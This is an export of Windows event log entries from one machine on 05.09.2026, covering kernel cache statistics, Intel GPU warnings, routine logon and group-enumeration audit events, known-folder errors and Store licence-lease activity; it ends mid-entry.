{5285d7ae-0000-0000-007e-000000000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [3, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [84, 842, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [264, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {5285d7ae-0000-0000-007e-000000000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {5285d7ae-0000-0000-0000-300432000000}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 17970284\n                       Maximum Dirty Pages: 1448\n                       Total Dirty Page Threshold: 262370034\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 23884\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 240804\n                       Maximum Pages Queued to Disk: 978\n                       Pages Queued to Disk Samples: 3612\n                       Total Metadata Pages Queued to Disk: 240804\n                       Maximum Metadata Pages Queued to Disk: 978\n                       Metadata Pages Queued to Disk Samples: 3612\n                       Read Total Bytes: 2621440\n                       Read Paged-In Total Bytes: 1048576\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 60\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 8\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 2\n                       Synchronous Read IO Maximum Latency (us): 785\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 2\n                       Asynchronous Read IO Maximum Latency (us): 10072\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {5285d7ae-0000-0000-0000-300432000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [7, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [110, 785, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [26, 0, 0, 10072, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {5285d7ae-0000-0000-0000-300432000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {5285d7ae-0000-0000-0000-a058d5000000}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 65\n                       Maximum Dirty Pages: 8\n                       Total Dirty Page Threshold: 7844465\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 18\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 19\n                       Maximum Pages Queued to Disk: 7\n                       Pages Queued to Disk Samples: 4\n                       Total Metadata Pages Queued to Disk: 19\n                       Maximum Metadata Pages Queued to Disk: 7\n                       Metadata Pages Queued to Disk Samples: 4\n                       Read Total Bytes: 524288\n                       Read Paged-In Total Bytes: 262144\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 50\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 1\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 1\n                       Synchronous Read IO Maximum Latency (us): 13931\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 1\n                       Asynchronous Read IO Maximum Latency (us): 24874\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {5285d7ae-0000-0000-0000-a058d5000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [0, 0, 0, 13931, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [0, 0, 0, 0, 24874, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {5285d7ae-0000-0000-0000-a058d5000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:04.979\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:05.420\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:05.865\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:06.126\t2\tSecure Trustlet Id 6 and Pid 9244 stopped with status STATUS_SUCCESS.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:44:06.199\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:06.422\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:06.649\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:06.871\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:07.758\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:08.358\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.358\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.899\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.899\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-503\n\tAccount Name:\t\tDefaultAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.900\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-504\n\tAccount Name:\t\tWDAGUtilityAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.901\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.901\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-500\n\tAccount Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.901\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-501\n\tAccount Name:\t\t\u0413\u043e\u0441\u0442\u044c\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.902\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.903\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-503\n\tAccount Name:\t\tDefaultAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.903\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-504\n\tAccount Name:\t\tWDAGUtilityAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.903\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.904\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-500\n\tAccount Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.904\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-501\n\tAccount Name:\t\t\u0413\u043e\u0441\u0442\u044c\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.911\t62443\tAppDefault Info: Querying default browser info\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:44:09.165\t1002\tError 0x80070002 occurred while verifying known folder {c4900540-2379-4c75-844b-64e6faf8716b} with path 'C:\\Users\\Public\\Pictures\\Sample Pictures'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.166\t1002\tError 0x80070002 occurred while verifying known folder {2a00375e-224c-49de-b8d1-440df7ef3ddc} with path 'C:\\WINDOWS\\resources\\0409'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.169\t1002\tError 0x80070002 occurred while verifying known folder {b250c668-f57d-4ee1-a63c-290ee7d1aa1f} with path 'C:\\Users\\Public\\Music\\Sample Music'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.174\t1002\tError 0x80070002 occurred while verifying known folder {859ead94-2e85-48ad-a71a-0969cb56a6cd} with path 'C:\\Users\\Public\\Videos\\Sample Videos'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.177\t1002\tError 0x80070002 occurred while verifying known folder {a440879f-87a0-4f7d-b700-0207b966194a} with path 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.199\t1002\tError 0x80070002 occurred while verifying known folder {c4900540-2379-4c75-844b-64e6faf8716b} with path 'C:\\Users\\Public\\Pictures\\Sample Pictures'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.200\t1002\tError 0x80070002 occurred while verifying known folder {2a00375e-224c-49de-b8d1-440df7ef3ddc} with path 'C:\\WINDOWS\\resources\\0409'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.202\t1002\tError 0x80070002 occurred while verifying known folder {b250c668-f57d-4ee1-a63c-290ee7d1aa1f} with path 'C:\\Users\\Public\\Music\\Sample Music'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.206\t1002\tError 0x80070002 occurred while verifying known folder {859ead94-2e85-48ad-a71a-0969cb56a6cd} with path 'C:\\Users\\Public\\Videos\\Sample Videos'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.207\t1002\tError 0x80070002 occurred while verifying known folder {a440879f-87a0-4f7d-b700-0207b966194a} with path 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.871\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:10.099\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:10.652\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:10.877\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8011\t0x21f831d3840: 18884: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8012\t0x21f831d3840: 18884: Key:Valid Change: Key:Invalid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8011\t0x21f8312a620: 15996: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8011\t0x21f8312a620: 15996: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8012\t0x21f8312a620: 15996: Lease:Valid Change: Lease:Invalid => 